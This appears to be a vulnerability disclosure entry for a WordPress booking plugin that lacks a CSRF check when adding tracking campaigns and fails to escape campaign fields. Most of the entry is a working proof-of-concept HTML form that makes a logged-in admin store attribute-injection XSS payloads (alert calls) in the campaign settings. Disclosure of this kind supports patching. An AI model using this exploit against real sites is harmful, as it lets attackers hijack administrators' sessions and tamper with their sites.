The plugin does not have CSRF check in place when adding a tracking campaign, and does not escape the campaign fields when outputting them In attributes. As a result, attackers could make a logged in admin add tracking campaign with XSS payloads in them via a CSRF attack
<html> <body> <form action="https://example.com/wp-admin/admin.php?option=com_vikbooking" method="POST"> <input type="hidden" name="trkenabled" value="1" /> <input type="hidden" name="trkcookierfrdur" value="3" /> <input type="hidden" name="trkcampname[]" value='Test"style=animation-name:rotation onanimationstart=alert(/XSS-Name/)//' /> <input type="hidden" name="trkcampkey[]" value='"style="animation-name:rotation" onanimationstart="alert(/XSS-Key/)//' /> <input type="hidden" name="trkcampval[]" value='"style=animation-name:rotation onanimationstart=alert(/XSS-Key-Value/)//' /> <input type="hidden" name="option" value="com_vikbooking" /> <input type="hidden" name="task" value="savetrkconfigstay" /> <input type="submit" value="Submit request" /> </form> </body> </html> XSS will be triggered in the Statistics Tracking Settings: https://example.com/wp-admin/admin.php?option=com_vikbooking&task=trkconfig
Gabriel3476
Gabriel3476
Yes
2022-04-21 (about 1 years ago)
2022-04-21 (about 1 years ago)
2022-04-22 (about 1 years ago)